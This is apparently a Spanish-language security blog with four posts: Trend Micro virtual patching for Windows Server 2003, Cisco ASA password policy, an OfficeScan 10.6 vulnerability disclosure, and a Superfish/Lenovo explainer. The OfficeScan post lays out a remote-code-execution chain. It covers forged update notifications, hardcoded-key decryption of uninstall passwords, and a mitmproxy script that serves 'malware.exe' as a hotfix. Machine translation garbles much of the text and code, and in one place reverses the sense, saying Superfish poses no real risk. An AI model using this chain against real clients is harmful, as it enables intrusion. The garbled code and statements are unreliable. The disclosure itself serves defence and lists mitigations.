miércoles, 22 de julio de 2015

Cómo seguir usando Windows 2003 hasta el 2020 utilizando Trend Micro Deep Security y Virtual Patching






Hola queridos amigos, luego les contare mi observación sobre esta invitación de Trend Micro

La idea es utilizar el Trend Micro Virtual Protection: Para usuarios Finales. O Deep Security Virtual Patch esta pensado a nivel Enterprise esto lo podemos utilizar hasta el 2020 y no mas, dado que Trend Micro, considera tiempo necesario para poder migrar a la nuevas versiones de Windows Server 2012 R2. etc.

Recomendaciones: queridos amigos si ustedes tienen equipos Virtualizados con antivirus tradicionales que fueron pensados para equipo físicos, están en un gran error, dado que esto afecta gravemente en la PERFORMANCE de nuestro entorno virtual, o infraestructura de VMWARE,

Porque? nuestro antivirus tradicionales no tiene la inteligencia y no fueron desarrollados para trabajar en la capa del HYPERVISOR.


Que es el HYPERVIDOR?

Hypervisor o Virtual Machine Monitor (VMM) es una tecnología que esta compuesta por una capa de software que permite utilizar, al mismo tiempo, diferentes sistemas operativos o maquinas virtuales (sin modificar o modificados en el caso de Virtualización) en una misma computadora central. Es decir es la parte principal de una máquina virtual que se encarga de manejar los recursos del sistema principal exportandolos a la máquina virtual


Mayor comprensión de su contenido.

Esta capa de software (VMM) maneja,  gestiona y arbitra los cuatro recursos principales de una computadora (CPU, Memoria, Red, Almacenamiento) y así podrá repartir dinámicamente dichos recursos entre todas las maquinas virtuales definidas en el computador central.

En la actualidad todos los fabricantes tanto de Software como de Hardware están trabajando para mejorar, en ayudar al Hypervisor (VMM) y así poder llegar a una virtualización completa,
fiable y robusta.

Existen varios Tipos de Hypervisor:

Type II: Tipo Hosted

– Hardware / Sistema Operativo / Hypervisor VMM / Maquina Virtual

Este tipo de hypervisor necesita un Sistema Operativo completo para poder ejecutarse

Type I: Tipo Non-Hosted / Binary translation

– Hardware / Hypervisor VMM / Maquina Virtual

Este tipo de hypervisor opera como una capa intermedia entre el hardware y los sistemas operativos invitados (Maquinas Virtuales, guest).

Todas las traducciones binarias (binary translation) de CPU, Memoria, Red, Almacenamiento las hace la capa VMM

Paravirtualización: Tipo Non-Hosted / Hardware assist (Intel VT, AMD-V)

– Hardware / Hypervisor VMM / Maquina Virtual Nativa o Modificada

Este tipo de hypervisor opera como una capa intermedia entre el hardware y los sistemas operativos invitados (Maquinas Virtuales, guest).

Todas las traducciones binarias (binary translation) Red, Almacenamiento las hace la capa VMM y las traducciones binarias de CPU, Memoria la hace mediante el hardware (hardware assist).

Fullvirtualización: Full Hardware assist (Futuro de la virtualización Intel VT, AMD-V, NPIV..)

- Hardware / Hypervisor VMM / Maquina Virtual Nativa o Modificada


Cómo seguir usando Windows 2003 hasta el 2020 utilizando Trend Micro con Virtual Patching o mejor aun con Deep Security esta es mi recomendacion firme. porque nos cubre todos los ambientes, equipos físicos, equipos virtualizados y para nuestro salto hacia la NUBE....agilizando nuestra tareas como Administrator.

Un poco de historia y reflexión.

El 14 de julio que sucedió realmente con el soporte de Windows Server 2003?


Fin de vida de soporte, no quiere decir que no funcione nuestro servidor ya lleva más de 12 años este Sistema Operativo Windows Server 2003.

Porque seguir utilizando esta plataforma?

El inconveniente que se nos presenta en su mayoría son las aplicaciones que corren hoy con las necesidades de negocio que están estables. Y se siguen utilizando porque lleva tiempo y dinero la migración de las aplicaciones.

Realmente lo que significa fin del soporte de Microsoft?

Es que no vamos a recibir más actualizaciones. Frente a las nuevas vulnerabilidades no tendrán soporte. Sería el fin de parches que si resuelven vulnerabilidades desarrolladas por desarrolladores lo cual no va a existir mas información en ningún lado por parte de Microsoft.

Ojo con las ingeniería inversa dado que esto se va a saber a nivel mundial.

Cuanto grave es que no estén estos parches?

Pensemos el antes y después del 14 de julio, vemos los detalles en el sitio

http://www.cvedetails.com/product/7108/Microsoft-Windows-Server-2003.html?vendor_id=26

Donde se nos muestran las vulnerabilidades.

Como todos sabemos en un Sistema de Producción nunca lo tenemos al día por su criticidad.

Dado que se deben analizar correctamente en todas las aéreas y riesgos esto nos lleva a 60 días o más para aplicar los parches en nuestros servidores. Considerando si me afecta en la operación por lo tanto se debe analizar los costos.

Hoy vulnerabilidades existen muchas ¡!!

ejemplo día cero y de otros fabricantes.. El riesgo sube cuando el Exploit se va fortaleciendo ejemplo en manos de los cibercriminales.

Y se comienza a utilizar el Exploit kit donde debemos tener cuidado frente a esto, a veces no se puede realmente aplicar el parche porque se deben probar bien.

Son muchos los factores, y medir el impacto, ejemplo sistemas viejos o aplicaciones propietarias.

Que hace Trend Micro?

Lo que hace Trend Micro es blindar el riego y comprar tiempo, escanean nuestros servidores y nos indican las vulnerabilidades, y Trend Micro disminuye el tiempo de aplicación de parches solo que no tenemos más la solución por parte del fabricante.

Trend Micro nos va a brindar ayuda sobre las vulnerabilidades ojo solo sobre las críticas.

Como hago frente ante las auditorias, si demostrando que no tengo vulnerabilidades a pesar de no tener los parches y Microsoft

Ejemplo: Microsoft ya saco un parche sin aviso, ejemplo el KB3079904 porque sucedió el evento critico, fue el Hacking team a pesar de fin de de ciclo Microsoft igual lo público.

Cuidado debemos ver siempre los boletines porque lamentablemente no va a estar el servidor 2003.

CSO indica para que sistemas operativos está disponible esta vulnerabilidad., entonces ver en todo caso Trend Micro vulnerabilidad, donde Trend Micro envía un parche virtual, si estamos utilizando Trend Micro en modo virtual.

Que opciones tengo, soporte extendido?

Dependiendo del contrato, nos va a brindar soporte extendido, se incluye el parche de vulnerabilidad.

En resumen: la primer opción es no hacer nada, ver esquema, ver costo que nos va a implicar y riegos de la parte operativa.

La otra es asumir los riegos o comprar el soporte extendido de Microsoft.

Importante analizar siempre y evaluar si se puede la actualizar frente a nuestras aplicaciones.

Trend Micro nos brinda componentes de parches virtuales, monitoreo de integridad, analizamos el antes y después antes de ser posiblemente atacado y por ultimo White Listing, sería hacer una lista blanca de nuestro servidor para que no se realicen cambios.


Que es el parcheo virtual?

Tenemos también Server 2003 y aplicaciones, ejemplo: PHP APPS java, Oracle, MSSQL, SAP y otros. Lo que hace Trend Micro es crear reglas para blindar y evitar que nos ataquen.

Ventajas es seguir utilizando el mismo Servidor 2003 a pesar de que nos dice Microsoft.


Preguntas para nosotros y que analizamos?

Cuantos servidores.

Cuáles son mis opciones.

Costos asociados Microsoft.

Plataformas, evaluar bien las alternativas tecnológicas y alternativas y riegos en mi organización.

Trend Micro indica que es mas económico su solución que la de Microsoft sobre el soporte extendido. Aun no lo he comprobado, esto se los dejo como tarea a ustedes!!!

NOTA: antes de poner un parche la herramienta realiza un escaneo de recomendaciones y nos indica cuales son las vulnerabilidades. Así podemos saber qué tipo de regla es necesaria.


Otras: también sirve para servidores Linux o otras versiones, dado que protegen varios kernel, físicos y virtuales.

sábado, 11 de julio de 2015

Cisco Políticas de Password (ASA) NOTA: Evitar usar PASSWORD que puedan estar basadas en diccionarios.

Cisco Políticas de Password (ASA)

Hoy les voy a contar algunos puntos importantes,  lo que implica no utilizar Password basadas en diccionario y sin la habilitación de Min-Lenght – Longitud de contraseñas.

NOTA: Evitar usar contraseñas que puedan   estar basadas en diccionarios.

Requisitos: Linux  Debían  -  AAA  - TACACS

Significado de triple AAA (ASA) Cisco

1      A= Authentication 2) A=Authorization 3)A=Accounting

Los Usuarios y Administradores de redes, deben evitar que las Password sean fáciles de romper con fuerza bruta aplicando diccionario.

Más a delante les mostrare como podemos consultar y ver esto.
Lo correcto es generar claves seguras usando herramientas disponibles en linux, asi como también las mejores prácticas a seguir al momento de definir contraseñas. Adicionalmente veremos cómo configurar un Ferewall ASA para que pueda solicitar al usuario contraseñas que cumplan con cierto nivel de complejidad es preferible usar autenticación basada en usuario y contraseña (evitar solo usar contraseñas)
·         Password de al menos 8 caracteres de longitud, usar el comando Security Password Min-Lenght
·         
      Evitar Password que puedan estar basadas en diccionarios.
·         
      Usar caracteres especiales.
·         Es posible usar espacios
·         Cambiar frecuente de Password.
En el caso de tener un ASA es posible usar los siguientes comandos
·         Password Policy Lifetime
·         Password Policy Minimun-changes
·         Password Policy Minimun-Lenght
·         Password Policy Minimun-Lowercase
·         Password Policy Minimun-Numeric
·         Password Policy Minimun-special
·         Password Policy Minimun-Uppercase

Si nosotros utilizamos Password que tienen o están basados en diccionarios, esto es una mala práctica.

Si nosotros escribimos un SCRIPT que se encargue de iniciar una conexión remota a un dispositivo de red y le pasamos como INPUT ese archivo y le pasamos un diccionario o utilizamos el diccionario que se encuentra en el mismo Servidor- o Linux de manera predeterminada nuestro equipo nos indicara la contraseña que el posee no se deben utilizar palabras basadas en diccionario y que sabemos que existen.

NOTA esto es una mala práctica.

Ejemplo: Usuario –Carlos-  Password casa (ambas sabemos que en el diccionario si las tiene).

Como proteger nuestros dispositivos?
1-      Utilizar usuario- contraseñas
2-      Longitu de la Password recomiendo mayor a 8 caracteres

Ejemplo: 1 Carácter --- es igual a 26 a la 1
                 2 caracteres---es igual a 26 a la 2
Si utilizamos solo minúsculas es 26  a la cantidad de caracteres
Si utilizamos minúsculas y mayúsculas con 8 caracteres con caracteres especiales
—queda como 52+30=82 elevado a la 8
El 30 hace referencia a los caracteres especiales…
              
Resumen: Mayúsculas y Minúsculas = 52 elevado a 8
3-      Uso de caracteres especiales * # pueden ser aprox. 30
Comando que podemos utilizar para averiguar esto!!!

Nosotros tenemos un diccionario en LINUX-DEBIAN que está ubicado en:
Si mal no recuerdo  /usr/share/dict/words  aquí vemos una serie de palabras que podríamos utilizar para saber la Password de un dispositivo.

Buscamos en Linux, en nuestro diccionario.
Command:  grep –i  Carlos /usr/share/dict/words nos va a responder carlos igual si ponemos casa de password.

Con esto nos damos cuenta que el nombre (Carlos y casa) ya existe por eso no es una buena práctica.




Herramienta Gratis OPENSSL para crear nuestra Password.


Openssl rand 32 – base 64 o más pequeña.

Open ssl rand 10- base 64 – mejor tipo de caracteres y son más completas, este tipo de contraseña la podemos pasar a nuestros usuarios.


Hasta la proxima... parte!!!
Saludos,
Carlos Crudo

Trend Micro Office Scan algunas de sus cadenas de errores.


Trend Micro Office Scan
algunas de sus cadenas de errores.

Analizando la seguridad de software de seguridad es una de mis áreas de investigación más preferidas: siempre es irónico ver el software originalmente significaba para proteger sus sistemas de abrir una puerta abierta para los atacantes. A principios de este año me topé con la suite de seguridad de OfficeScan por Trend Micro, una solución de protección de acogida probablemente menos conocido (AV) todavía se utiliza en algunas redes interesantes, cabe aclarar que estas Suites suelen ser pensadas cuando se tienen dispositivos CISCO no bien implementados y la gente de IT lo piensa como solución alternativa a no tener los conocimientos necesarios de cómo se implementa adecuadamente los dispositivos CISCO dejando en manos a Trend Micro estas importancia de seguridad, hasta he escuchado al personal de Networking que tiene una red segura, y deja que la gente utilice PASSWORD de nombre propios sin aplicar ni siquiera el límite de longitud, etc. Por eso este programa se veía bastante complejo (gran superficie de ataque) me decidí a echar un vistazo más de cerca. Después de instalar una versión de prueba (10.6 SP1).

§ El componente de servidor (que proporciona una gestión centralizada de los clientes que realmente implementan la funcionalidad de protección de acogida) se lleva a cabo principalmente a través de binario CGI (archivos .EXE y .DLL)

§ El servidor actualiza a sí mismo a través de HTTP

§ Los clientes instalan controles ActiveX en Internet Explorer

Y hay posiblemente muchas otras partes frágiles del sistema. Ahora me gustaría compartir una serie de pequeños problemas que pueden ser encadenados juntos para lograr la ejecución remota de código. Los problemas son problemas de corrupción de memoria estándar lógica y / o defectos de cifrado, no. Como tales, no son triviales para arreglar o incluso decidir si se encuentran en las vulnerabilidades de hechos.
Un pequeño infoleak

Me centré en mi investigación sobre los clientes ya que estos son ampliamente desplegados en una red típica. Supuse que debe haber algún tipo de conexión entre el servidor y los clientes por lo que los clientes pueden obtener nuevas actualizaciones y parámetros de configuración. Empecé a supervisar las conexiones de red de los clientes y encontré algunas interfaces interesantes, uno de ellos veía así: POSTE /officescan/cgi/isapiClient.dll HTTP / 1.1
User-Agent: 11111111111111111111111111111111
Acepta: * / *
Anfitrión: 192.168.xxx.xxx:8080
Content-Type: application / x-www-form-urlencoded
Content-Length: 96
Proxy-Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache
Connection: close

RequestID = 123 y FunctionType = 0 & UID = 11111111-2222-3333-4444-555555555555 Y LIBERACIÓN = 10,6 y chkDatabase = 1



Los parámetros RequestID eran los mismos, pero rápidamente me cargan la solicitud a eructar Intruder y trataron de fuerza bruta otros identificadores válidos. ID 201 pareció particularmente interesante, aquí está parte de la respuesta del servidor: HTTP / 1.1 200 OK
Fecha: Mié, 18 de diciembre 2013 18:26:44 GMT
Servidor: Apache
Content-Length: 2296
Connection: close
Content-Type: application / octet-stream

[INI_CRITICAL_SECTION]
Master_DomainName = 192.168.xxx.xxx
Master_DomainPort = 8080
UseProxy = 0
Proxy_IP =
PROXY_PORT =
Proxy_Login =
Proxy_Pwd =
Intranet_Proxy_Socks = 0
Intranet_NoProxyCache = 0
HTTP_Expired_Day = 30
ServicePack_Version = 0
Licensed_UserName =
Uninstall_Pwd=!CRYPT!5231C05389DD886C99EA4646653498C2DB98EFD6EF61BD4907B2BD97E4ACDAED73AEE46B44AACBC450915317269
Unload_Pwd=!CRYPT!5231C05389DD886C99EA4646653498C2DB98EFD6EF61BD4907B2BD97E4ACDAED73AEE46B44AACBC450915317269

(...)



Esta misma respuesta se recupera sin importar el parámetro UID. Como se puede ver, hay dos parámetros, Uninstall_Pwd y Unload_Pwd que están (aparentemente) cifrados, lo que indica que estos parametros son algo que proteger. En realidad, los clientes pueden descargar o desinstalar sólo después de proporcionar una contraseña especial (un servicio de nivel del sistema es responsable de proteger los principales procesos de la aplicación de la matanza o la depuración), esto es lo que vemos codificada en estos campos. Entonces, ¿qué hacemos con el cifrado? El directorio del programa OfficeScan contiene un archivo llamado pwd.dll, que podría tener algo que ver con estas contraseñas, así que vamos a desmontar él! De hecho, esta exportaciones biblioteca funciona como PWDDecrypt () , pero como resulta que, estas no son las funciones que estamos buscando ...

Después de hacer una rápida
encontrar . -name '* .dll' -exec cuerdas -f { } \; | xargs grep 'CRIPTA!'



nos encontramos con que TmSock.dll es posiblemente nuestro candidato. Después de desmontar esta biblioteca encontramos que existe una exportación llamado TmDecrypt () . Esta función comprueba si su cadena de parámetros comienza con ! CRIPTA! ​​. Si no lo hace se llama a la exportación de pwd.dll, pero si lo hace, se llama a una rutina interna que nombré hardcoded_pass :







El nombramiento no es coincidential: esta subrutina hace referencia a dos cadenas Wich definitivamente parecen contraseñas codificadas:







Después de una rápida búsqueda en Google (Protip: siempre google cadenas como éstas, usted puede ahorrar un montón de tiempo al no recreando resultados públicos) uno puede encontrar este post por Luigi Auriemma, que describes que esta función se utiliza para descifrar los parámetros de configuración anteriores y en este caso, devolver los hashes MD5 de la desinstalación / descarga contraseñas. MD5 puede ser efectiva bruta forzada, por lo que este es definitivamente malo, por no hablar de que la contraseña del proxy puede ser recuperada en texto plano.

Pero esto no es realmente de alto impacto, así que cavó más.
Recogiendo más piezas

Estuve escuchando la comunicación cliente-servidor desde hace bastante tiempo y me di cuenta de que después de la emisión de un cambio de configuración en el servidor, una solicitud HTTP especial se envía desde el servidor hasta el puerto de cliente TCP / 61832.Se trata de una petición GET sencilla en forma de:http: // servidor:? 61.832 / [hex_string]


El parámetro hex_string parecía similar a los valores anteriores "encriptados" pero sin el ! CRIPTA! ​​Prefijo. Recuerde, el () TMDecrypt función del TMsock.dll cargado pwd.dll si la cadena de entrada no empezó con ese prefijo, por lo que este debe ser un texto cifrado para pwd.dll!

Antes de descifrar esa cadena hexadecimal, vamos a echar un vistazo rápido a las exportaciones de pwd.dll! Después de crear un pequeño envoltorio alrededor delpwdencrypt () exportación He encontrado algunos resultados interesantes: > Pwdenc A
00
> Pwdenc AA
006C
> Pwdenc AB
006F
> BA pwdenc
036C
> Pwdenc BB
036F
> Pwdenc ABC
006F00


Como puede ver, este algoritmo es básicamente un sistema de cifrado polialfabética sencilla (similar al sistema de cifrado Vigenère ), que podía recrear fácilmente independientemente de la biblioteca original: después de ejecutar un bucle rápido que encripta cuerdas 1KB de todos los caracteres imprimibles (1024 veces 'A ', 1024 veces' B ', etc.), que tenía una base de datos que podría ser utilizado para cifrar y descifrar prácticamente cualquier cosa. Más tarde me podía usar esta base de datos para construir mi explotar sin los binarios originales o lotes de ingeniería inversa.

Volver al problema original, vamos a descifrar la cadena hexadecimal ya:SEQ=80&DELAY=0&USEPROXY=0&PROXY=&PROXYPORT=0&PROXYLOGIN=&PROXYPWD=&SERVER=192.168.124.134&SERVERPORT=8080&PccNT_Version=10.6&Pcc95_Version=10.6&EngineNT_Version=9.700.1001&Engine95_Version=&ptchHotfixDate=20131228153813&PTNFILE=1050100&ROLLBACK=1050100&MESSAGE=20&TIME=201312281648170406&DIRECT_UPDATE=1&IP=60d9f344c3a3868f909a6ae787e9d183&NT_ENGINE_ROLLBACK=9.700.1001&95_ENGINE_ROLLBACK=&TSCPTN_VERSION=1348&TSCENG_VERSION=7.1.1044&SPYWARE=0&CTA=2.1.103&CFWENG_VERSION=5.82.1050&CFWPTN_VERSION=10333&DCSSPYPTN_VERSION=222&VAPTN_VERSION=&ITRAP_WHITE_VERSION=93900&ITRAP_BLACK_VERSION=17100&VSAPI2ENG_VERSION=&VSAPI2PTN_VERSION=&SSAPIENG_VERSION=6.2.3030&SSAPIVSTENG_VERSION=&SSAPIPTN_VERSION=1469&SSAPITMASSAPTN_VERSION=146900&ROOTKITMODULE_VERSION=2.95.1170&ReleaseIPList=&NVW300_VERSION=&CleanedIPList=&NON_CRC_PATTERN_ROLLBACK=1050100&NON_CRC_PATTERN_VERSION=1050100&SETTING_SEQUENCE=0160670003&INDIVIDUAL_SETTING=1


Actualización: Luigi señaló que implementa tantos algoritmos de cifrado en su herramienta trendmicropwd .

El propósito de este mensaje es para notificar a los clientes que no son nuevos parámetros de configuración que se deben aplicar. Después de recibir este mensaje, el cliente se conecta al servidor para obtener más información. Para asegurarse de que los clientes no se perdieron la conexión en caso de cambios en la arquitectura de red de este mensaje de notificación ya contiene la información de conexión más básica como la dirección del servidor o el proxy.

¿Podemos suplantar ese mensaje? Ya hemos visto que el cifrado no es un problema, y ​​la mayoría de los parámetros son básicamente de la versión y configuración parámetros públicos. La única parte problemática es el parámetro IP que parece contener un valor hash. ¿Cómo se construye este valor?

Puede utilizar secuencias de comandos como FindCrypt para encontrar la rutina MD5 en el TmListen ejecutable, el establecimiento de un punto de interrupción en esta revelará que la imagen inversa se ​​ve algo como esto: [JdkNotify] volver -1293342568


Como puede ver, la mayoría de los parámetros son similares a los anteriores, el único valor feo parece ser el clinet parámetro (¡sic!), que es el GUID del cliente generado durante la instalación. Desde el punto de vista de explotación esto es malo, ya que realmente no se puede adivinar este valor, pero si fortalecemos nuestro modelo atacante un poco nos puede encontrar algunos vectores realistas, ya que:

§ Los GUID del cliente son enviados periódicamente por la red en texto sin cifrar

§ Atacantes locales pueden acceder a este valor por defecto a través de la configuración de OfficeScan y los archivos de registro

Así que por el bien de este writeup supongamos que sabemos que este GUID - ¿qué podemos lograr con los mensajes de notificación?

Es obvio que podemos establecer nuestra propia dirección como los servidores o actuar como un proxy mediante el establecimiento de los parámetros adecuados en el mensaje de notificación inicial. Si hemos creado algunos números de versión más altos en la notificación también podemos desencadenar el proceso de actualización del software, y podemos establecer nuestro propio host como un servidor o un proxy ganando efectivamente posición man-in-the-middle.

Desde este punto de la manera más obvia de ganar control sobre el cliente es secuestrar el proceso de actualización y dejar que el cliente descarga y ejecutar un binario malicioso como parte de la actualización. Monté un pequeño script MitMproxy para esta tarea:
importación tiempo , hashlib

def _getFile ( ) :
my_exe = open ( "malware.exe" , "rb" )
exe_cont = my_exe. read ( )
exe_hash = hashlib. md5 ( )
exe_hash. update ( exe_cont )
my_exe. close ( )
return ( exe_cont , exe_hash )

def respuesta ( contexto , flujo ) :
si "HotFix =" en el . flujo respuesta . contenido :
exe_cont , exe_hash = _getFile ( )
rows = flow. response . content . split ( " \r \n " )
for i , r in enumerate ( rows ) :
if "TMBMSRV" in r:
rows [ i ] = "/officescan/hotfix_engine/TMBMSRV.exe=%s,%s,3.00.0000" % ( time . strftime ( "%Y%m%d%H%M%S" ) , exe_hash. hexdigest ( ) )
flow. response . content = " \r \n " . join ( rows )

si "TMBMSRV" en flujo. petición . get_url ( ) :
exe_cont , exe_hash = _getFile ( )
de flujo. respuesta . contenido = exe_cont



Aún así, mi malvado plan no funcionó, lo que pudo haber salido mal? Aunque los ejecutables de la OSCE son despojados de depurar la información, los desarrolladores dejaron muchas cadenas de depuración en los programas que se utilizan por lo general a través de diferentes funciones "registrador". Al conectar estas funciones básicamente uno puede obtener información en tiempo real sobre el estado interno de los procesos. Esto ayudó mucho durante el proceso de marcha atrás y también reveló el problema con mi plantación binaria:








Pues resulta que la OSCE sólo aceptan binarios firmados, que es un buen método para manejar las actualizaciones que se entregan a través de canales no son de confianza (manejo de los certificados TLS en el ambiente corporativo puede ser complicado...). Para superar este problema vi por primera vez para los archivos PE sin firmar en la instalación OCSE utilizando el guión disitool de Didier Stevens :
$ Find. -iname '* .exe' -exec eco {} \; python ~ / herramientas / disitool.py extracto -exec {} / tmp / sig \; 2> & 1 | Error grep -B1
./7z.exe
Error: archivo de origen no firmó
-
./bzip2.exe
Error: archivo de origen no firmó
-
./bspatch.exe
Error: archivo de origen no firmó

$ Find. -iname '* .dll' -exec eco {} \; python ~ / herramientas / disitool.py extracto -exec {} / tmp / sig \; 2> & 1 | Error grep -B1
./libeay32.dll
Error: archivo de origen no firmó
-
./libcurl.dll
Error: archivo de origen no firmó
-
./7z.dll
Error: archivo de origen no firmó

(...)


Pero antes de que pudiera averiguar si estos archivos pueden ser reemplazados de forma remota. Dnet sugirió plantar un binario que se firmó, pero no con la tecla de Trend Micro. Como una prueba rápida usé el instalador del Total Commander, firmado por un partido que es aceptable de forma predeterminada para WinVerifyTrust , la API que se utilizará para la verificación de firmas. La prueba se ha realizado correctamente, parece que la OSCE sólo se preocupa por el de signo de los cambios, pero no el firmante. Recuerde: la firma digital sólo le dice sobre el creador del mensaje, no la intención del creador :)
Englobando un poco

Lo que pude identificar varias falta de solidez de OfficeScan:

§ OfficeScan utiliza el cifrado débil

§ OfficeScan utiliza claves de cifrado hardcoded

§ OfficeScan no se autentica correctamente los pares del sistema (servidores y clientes)

§ OfficeScan no comprueba si los archivos ejecutables firmados originados por el vendedor u otra parte de confianza.

Por sí mismos estos problemas no suponen una amenaza seria, pero combinados que se pueden utilizar para lograr la ejecución de código remoto en cualquier cliente:

1. Obtenga el GUID del cliente de destino

2. Construir un mensaje de notificación que contiene el atacantes host que el proxy, y la información de versión que hace que el cliente para solicitar una actualización.

3. Reemplace ejecutable arbitrario en la actualización con una maliciosa firmado por una CA presente de forma predeterminada en el almacén de certificados de Windows de (esto cuesta unos pocos cientos de dólares).

El siguiente video muestra el ataque:

https://youtu.be/HGkIMNBzwYQ

Este ataque es realista cuando el atacante es capaz de interceptar GUID del cliente desde la red o quiere escalar sus privilegios a nivel local. Con otro infoleak podría ser posible mejorar el ataque para ser CVSS 10.0. Otros exploit vectores basados ​​(parcialmente) en estos resultados también son posibles, el software es grande y no he mirado en la mayor parte de ella todavía.
Nota:

Aunque Trend Micro fue el proveedor más sensible que he trabajado personalmente y me parece que no están muy experimentados en las vulnerabilidades de seguridad de manejo no está claro si se consideran los problemas reportados como vulnerabilidades o "características", si la última versión (OSCE 11) resuelve ninguno de los problemas reportados * y si hay posibles pasos de configuración que pueden disminuir el riesgo de un ataque. Sin esta información no puedo realmente escribir un aviso formal, por lo que tiene que conformarse con esta entrada del blog, por ahora.

Como no podía ver el progreso satisfactorio en la mejora de la seguridad del producto que decidí publicar mis resultados así que cualquiera puede evaluar los riesgos, y posiblemente implementar algunas mitigaciones:

§ Implementar reglas de firewall que restringen los puertos de OfficeScan sean accesibles sólo para los compañeros legítimos conocidos tanto a los servidores ya los clientes (TI también puede recomendar esto para cada solución de gestión centralizada otra AV)

§ Utilice contraseñas seguras de descarga / desinstalación.

§ Restringir el acceso a los archivos de configuración de OfficeScan y los registros para los usuarios locales

§ Comunicación Wrap OfficeScan en los protocolos de red seguros como TLS o IPSec



* Después de tomar un rápido vistazo a la versión 11 parece que los mensajes de notificación están firmados digitalmente effecitvely romper el método remoto presentado.(deberíamos hacer un análisis en profundidad sin embargo, aunque), pero desde la arquitectura básica y la simétrica componentes criptográficos permanecieron igual elevación local de privilegios debe ser aún posible!!!

jueves, 2 de julio de 2015

Superfish lo más importante que usted necesita saber!!! Lenovo controversia.

Superfish: que es el nombre de una empresa de marketing que, entre otras cosas, produce software llamado Visual Discovery.
Por lo que podemos decir, la afirmación de Superfish a la fama es "búsqueda visual".

Esto parece implicar el análisis de imágenes que vienen en camino, a juego contra una base de datos gigante de las imágenes en la nube, y poniendo en frente de usted un montón de imágenes similares.
Por ejemplo, si usted está buscando en un anuncio de un mueble con cajones, Superfish, pasando por el ejemplo de su propio sitio web, puede ayudarle a encontrar un aparador a juego (aparador).
Usted puede ser capaz de adivinar dónde va esto.
Si instala el software Superfish controlar qué sitios web que visita, y lo que hay en ellos, puede mantener su ojo hacia fuera para los sitios relacionados, todos ellos basados ​​en imágenes en lugar de confiar en las palabras clave anticuados.
Así que, en lugar de vender clics para anunciantes potenciales con base en las palabras que usted lee, Superfish puede vender clics basados ​​en las imágenes que usted ve.
Eso suena bien, asumiendo que usted es consciente de que Visual Discovery fue instalado en su ordenador, y suponiendo que el software realiza un seguimiento de su navegación de una manera que no ponga su privacidad y seguridad en línea en riesgo.

La situación Lenovo

Desafortunadamente, para muchos usuarios de computadoras Lenovo, que no era el caso.
De octubre 2014 a diciembre 2014, Lenovo enviado Superfish en varias de sus portátiles de consumo y alertado  hasta febrero y abril de 2015.
... Y resulta que el software no representa realmente un riesgo de seguridad.
Eso es porque Visual Discovery no sólo funciona dentro de su navegador para ver lo que está viendo.
El producto incluye lo que se conoce como un proxy: en otras palabras, un componente que intercepta el tráfico de red fuera de su navegador para que pueda realizar un seguimiento de lo que está haciendo.
Visual Discovery se implementa como lo que se llama un (Layered Service Provider) LSP o un filtro de PMA (Plataforma de filtrado de Windows), y se conecta a la parte del sistema operativo que se ocupa de tráfico de red.

Pros y contras de filtros

LSP y WFPs no son inherentemente malo: de hecho, muchos productos de seguridad, incluyendo Sophos Anti-Virus, utilizan filtros como una manera de mirar hacia fuera para los sitios web que estás visitando.
Eso significa que pueden avisar o bloquear si intenta ir a algún lugar que se sabe que es peligroso, como un sitio web infectado con malware.
La ventaja de un filtro sobre un plugin de navegador es que el procesamiento de un filtro se aplica a todo el software que se conecta a través de él, por lo que no necesita un plugin independiente para cada navegador.
En teoría, esto significa una mejor cobertura con menos a ir mal.
La desventaja de un filtro es que ve el contenido de la red antes de que llegue a su navegador, por lo HTTPS (seguro) páginas web aparecen como un flujo de datos cifrados.
Un complemento del navegador, sin embargo, ve el contenido después de que se ha codificado el navegador para la visualización.

El enfoque Superfish

En lugar de tratar su tráfico HTTPS como sacrosanta, y dejarlo solo por lo que queda de extremo a extremo encriptada todo el camino desde el servidor a su navegador, Superfish utiliza keybridging, también conocido como El hombre en el medio, o MiTM.
El Superfish MiTM funciona más o menos como su nombre indica.
Cuando su navegador se conecta a, digamos, https://example.com/, la conexión se realiza directamente por Visual Discovery.
Su conexión cifrada en realidad termina en el interior del filtro de Superfish.
El filtro se conecta en adelante a https://example.com/ y agarra el contenido en su nombre (por eso este tipo de software se llama un "proxy"), usando una conexión HTTPS propia.
Por supuesto, eso significa que las respuestas HTTPS desde example.comrealmente terminar el interior del filtro, también, por lo que su tráfico es sin cifrar, tanto de salida como de entrada, con el resultado de que Superfish puede leerlo.
Irónicamente, si el filtro fuera a pasar los datos ahora-ya-no cifrados en tu navegador, su navegador no sabría qué hacer con él: que originalmente hizo una conexión HTTPS, por lo que el navegador espera un flujo encriptado.
Para resolver este problema, el filtro vuelve a cifrar los datos, y pasa de nuevo a usted. (Este proceso implica descifrado, con una llave y volver a cifrar con otra, que es donde el nombre proviene de keybridging.)
Su navegador piensa que hizo una conexión cifrada de extremo a extremo, y en cierto sentido lo hizo, excepto que el otro extremo de la conexión no era el servidor example.com - era el filtro Superfish en su propia computadora.

El problema de certificado

En este punto, probablemente estás pensando: "Pero, ¿no ese tipo de interceptación ser obvio? Seguramente que vería una advertencia?"
En teoría, eso es exactamente lo que debe suceder.
Tráfico HTTPS está firmado por un certificado digital que identifica a la empresa propietaria de la página web que se está conectando, y está firmado ese certificado, o avalada, por una autoridad de certificación, cuya identidad es pre-programado en su navegador como "de confianza asesor ".
Por ejemplo, cuando usted visita Naked Security (esto es usar Firefox en OS X 10.10), que se ve algo como esto:
Certificado de Naked Security es propiedad de Sophos; Derecho de Sophos para representar a sí mismo como Naked Security está avalada por GlobalSign; y el derecho de GlobalSign para dar fe de Sophos está avalada por Firefox.
Si usted visita un sitio en donde no es la cadena de confianza en el certificado en buenas condiciones, por ejemplo, porque se le ha forzado a través de un impostor MiTM, que se suele ver un aviso de alerta, tal vez así:

La solución Superfish

Si usted navega a Naked Security en un equipo Windows con Superfish Visual Discovery instalado, usted no recibe una advertencia.
Eso probablemente te hace pensar que tiene activado el cifrado confiable de extremo a extremo con nuestro sitio:

Pero si hace clic en el candado HTTPS para profundizar en los detalles del certificado (esto es usar IE 11 en Windows 8.1) va a ver algo muy inusual:

Como vimos anteriormente, el certificado oficial Naked Security de Sophos está firmado por GlobalSign, por acuerdo explícito entre las dos compañías.
Entonces, ¿quién autorizó Superfish para firmar por Sophos también?
¿Por qué no un aviso pop-up?
La respuesta es que, en el momento de la instalación, el software Superfish avala por sí mismo a Windows por erigirse como autoridad de certificación de confianza.
Ahora puede crear certificados falsos para cualquier sitio que le gusta, en cualquier momento, y luego firmar unilateralmente estos certificados para que sean de confianza, también:

